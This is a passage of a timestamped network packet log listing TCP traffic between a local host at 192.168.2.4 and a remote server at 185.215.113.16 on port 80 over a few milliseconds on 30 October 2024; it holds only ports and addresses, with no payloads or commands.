Oct 30, 2024 12:36:51.833352089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833362103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833370924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833388090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833396912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833399057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833409071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833415985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833421946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833431005 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833442926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833444118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833476067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833487988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833489895 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833503962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833514929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833527088 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833540916 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833559990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833575010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833585978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833597898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833611965 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833623886 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833642006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833723068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833741903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833759069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833770990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833786964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833787918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833798885 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833807945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833815098 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833817959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833831072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833837032 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833846092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833854914 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833857059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833873034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833873987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833884954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833894968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833900928 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833909988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833921909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833925962 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833944082 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833954096 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834044933 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834055901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834065914 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834075928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834086895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834089041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834098101 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834112883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834120035 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834125042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834136963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834140062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834147930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834152937 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834157944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834182978 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834186077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834208012 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834216118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834227085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834229946 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834254026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834264040 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834290981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834301949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834312916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834326029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834331989 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834363937 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834399939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834409952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834420919 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834431887 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834435940 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834443092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834455967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834465027 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834491014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834525108 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834534883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834544897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834556103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834558964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834566116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834577084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834588051 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834588051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834618092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834666014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834676981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834687948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834698915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834703922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834708929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834717989 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834726095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834742069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834747076 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834757090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834770918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834780931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834789991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834790945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834803104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834813118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834821939 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834825039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834836006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834841013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834852934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834853888 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834862947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834873915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834883928 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834889889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834899902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834908962 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834912062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834922075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834923029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834932089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834944010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834954023 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834954977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834976912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.834980965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.834990978 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.835007906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.835019112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.835025072 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.835043907 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.835053921 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.835148096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.835159063 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.835170031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.835180998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.835191965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.835200071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.835232973 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.836771965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836782932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836793900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836823940 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.836836100 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.836842060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836853027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836863041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836874008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836885929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836885929 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.836910963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.836920023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836924076 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.836930990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836941004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836954117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836963892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836966991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.836975098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.836988926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837002039 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837028027 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837073088 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837084055 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837094069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837105036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837109089 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837116957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837121964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837129116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837138891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837141037 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837148905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837163925 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837165117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837182045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837202072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837213993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837222099 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837224960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837234974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837249994 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837254047 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837265015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837274075 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837275982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837285995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837295055 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837296963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837311029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837315083 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837321043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837331057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837341070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837341070 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837352991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837364912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837373018 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837377071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837392092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837410927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837440968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837451935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837461948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837474108 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837485075 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837486029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837497950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837505102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837510109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837522030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837532043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837533951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837546110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837558031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837568045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837587118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837604046 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837728977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837739944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837750912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837763071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837764978 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837774038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837784052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837785006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837793112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837800980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837816954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837829113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837829113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837841034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837851048 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837853909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837860107 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837865114 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837877035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837888002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837893963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837899923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837913036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837922096 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837924957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837934971 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837938070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837949991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837960005 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837960958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837971926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837982893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.837987900 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.837994099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838004112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838006020 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838015079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838016033 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838025093 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838043928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838048935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838054895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838066101 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838069916 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838078022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838093042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838094950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838104963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838114977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838118076 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838125944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838131905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838138103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838148117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838157892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838160038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838170052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838180065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838184118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838191986 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838200092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838201046 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838212013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838222980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838222980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838236094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838247061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838252068 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838258982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838269949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838272095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838279963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838287115 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838314056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838325977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838325977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838336945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838346958 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838347912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838357925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838368893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838380098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838381052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838390112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838408947 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838427067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838444948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838455915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838465929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838475943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838486910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838486910 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838498116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838505030 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838527918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838568926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838582993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838594913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838606119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838613987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838617086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838629007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838640928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838649988 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838650942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838663101 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838677883 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838680029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838690996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838692904 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838700056 CET	80	49747	185.215.113.16	192.168.2.4
